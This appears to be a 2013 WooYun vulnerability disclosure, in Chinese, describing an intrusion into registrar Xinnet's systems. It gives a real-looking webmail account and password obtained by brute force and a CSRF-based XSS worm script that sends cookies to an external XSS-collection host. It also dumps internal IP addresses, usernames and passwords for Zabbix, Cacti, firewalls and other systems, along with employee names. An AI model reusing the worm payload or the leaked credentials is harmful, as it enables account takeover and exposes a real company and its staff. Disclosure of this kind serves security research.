从一个司机的邮箱开始测试新网（Zabbix、cacti、Zenoss、BSS、防火墙、VPN等N多系统沦陷）

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-036551

漏洞标题：从一个司机的邮箱开始测试新网（Zabbix、cacti、Zenoss、BSS、防火墙、VPN等N多系统沦陷）

漏洞作者：贱心

提交时间：2013-09-09 14:33

修复时间：2013-09-14 14:34

公开时间：2013-09-14 14:34

漏洞类型：系统/服务运维配置不当

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2013-09-09：细节已通知厂商并且等待厂商处理中
2013-09-14：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

一直觉得企业的邮箱系统是企业安全环节中一个很脆弱的点，哪怕是互联网公司也同样如此。
Zabbix、cacti、Zenoss、BSS、防火墙、VPN、mrtg监控、网站投诉监查系统、WEARE系统、MRTG服务器、多个机房的跳板机、数码庄园ABC座设备账号密码等等可导致部分用户vps、域名、邮局等账号密码泄露至于财务信息比较敏感这里就不说了

详细说明：

首先我通过百度、谷歌、大数据库等方式收集了一些新网的邮箱地址，从找到的一些新网的员工姓名又生成了一些邮箱地址
我把这些可能的新网邮箱的用户名整理出来，对其进行了爆破。

http://webmail.xinnet.com

不得不说，很幸运，我爆破得到了一个新网司机的邮箱帐号和密码。

liubing@xinnet.com   123456

可能有的同学觉得一个司机的邮箱能有什么用，里面不会有什么重要的东西的
里面确实没什么重要的邮件 ps：新网司机的工资挺低的
但我们找到了这个

好吧这可比我辛辛苦苦收集的多了好几倍
把800多个邮箱拿到burp上再爆破一次
额~ 吓我一跳啊 800多个邮箱竟然有近百个是弱口令员工们这安全意识大大的有待提高啊

这里就帮这些同学打码了免的挨骂不过如果你是弱口令记得改密码哦
在近百个邮箱里找到了几个技术人员的邮箱，只找到了个zabbix，看来这几个是底层的员工
可是就这么爆破点儿邮箱，找了个zabbix就提交上来多丢人啊
我们的目标是运维的同学他们掌握这大量系统的权限
OK 我们继续
仔细看了下新网的邮箱系统发现应该可以直接写html

貌似还有签名，good 我们可以把签名里写上xss代码，这样他下次写邮件给其他同事他的同事也会中招
等等我们看下修改签名发现无token等验证而且get请求也可以那我们岂不是可以构造个蠕虫了？！

http://webmail.xinnet.com/app/mailset/mailSign/operate?method=addMailSignature&sigId=&isHtml=false&sigSubject=%E9%BB%98%E8%AE%A4%E7%AD%BE%E5%90%8D&defaultSig=true&signatureContent=签名内容

先试试可不可以xss吧我把他的默认签名修改为

<script src=http://xssplatform.xss.com/xss?1378700262></script>

我们发一封测试邮件试试

你妹啊，这是什么情况？怎么收到的是一个ip的cookie？
难道读邮件的时候是在这个ip上读？那我们岂不是无法获取到webmail.xinnet.com域上的cookie么（看来新网的技术人员是考虑到xss的）
失败了难道就这样结束了么？
好吧把人家签名改回去走人吧
可天无绝人之路就在再次打开邮件签名设置的时候我收到了一条cookie

location : http://webmail.xinnet.com/app/mailset/mailSign/set

可以确认这里有个xss 那就好办了
我们来写个超简单的蠕虫吧

if(localStorage.getItem('a')!='1'){
s=document.createElement("iframe");s.style.display="none";s.src="http://webmail.xinnet.com/app/mailset/mailSign/operate?method=addMailSignature&sigId=&isHtml=false&sigSubject=%E9%BB%98%E8%AE%A4%E7%AD%BE%E5%90%8D&defaultSig=true&signatureContent=%3cscript%20src%3dhttp:%2f%2fxssplatform.xss.com%2fxss%3f1378195725%3e%3c%2fscript%3e";document.body.appendChild(s);
localStorage.setItem('a','1');
}
b=document.createElement("iframe");b.style.display="none";b.src="http://webmail.xinnet.com/app/mailset/mailSign/set";document.body.appendChild(b);

上图是收获的cookie
那这有什么用呢？看看下面我们在邮箱内容里找到的收获吧

mrtg监控流量:http://123.100.0.40 gzidc/gzidc
url：http://58.30.217.121/index.php?reconnect=1
用户名：zabbix监控
密码：xinnet123
http://114.112.53.50/cacti
用户名：cactimonitor
密码：  xinnet123
http://121.14..187/complaintCenter/
http://121.14.4.178/complaintCenter/
http://121.14.4.229/ComplaintCenter/portal/jsp/login/login.jsp
http://121.14.4.228/ComplaintCenter/portal/jsp/login/login.jsp
账号：zbliuhui@xinnet.com
密码：1
防火墙地址：
http://114.112.53.45:28099/
用户名：xinnet
密码：xinnet123!@#
http://61.155.153.248:28099
用户名：xinnet
密码：xinnet123!@#
http://58.30.238.114:28099
用户名：xinnet
密码：xinnet123!@#
http://monitor.300.cn:8080/zport/dmd/Events/evconsole
U:  viewer
P:   viewer#.)
http://fuwu.myxinnet.com/
王斌47
赫英惠
霍森
赵越
闫均
123465
http://yy.myxinnet.com/DisposeSearch.aspx?InspectId=X121031173
test
123456
李荣
123456
登录weare.xinnet.com，用户名：gd-shiyongqi,密码：gd-shiyongqi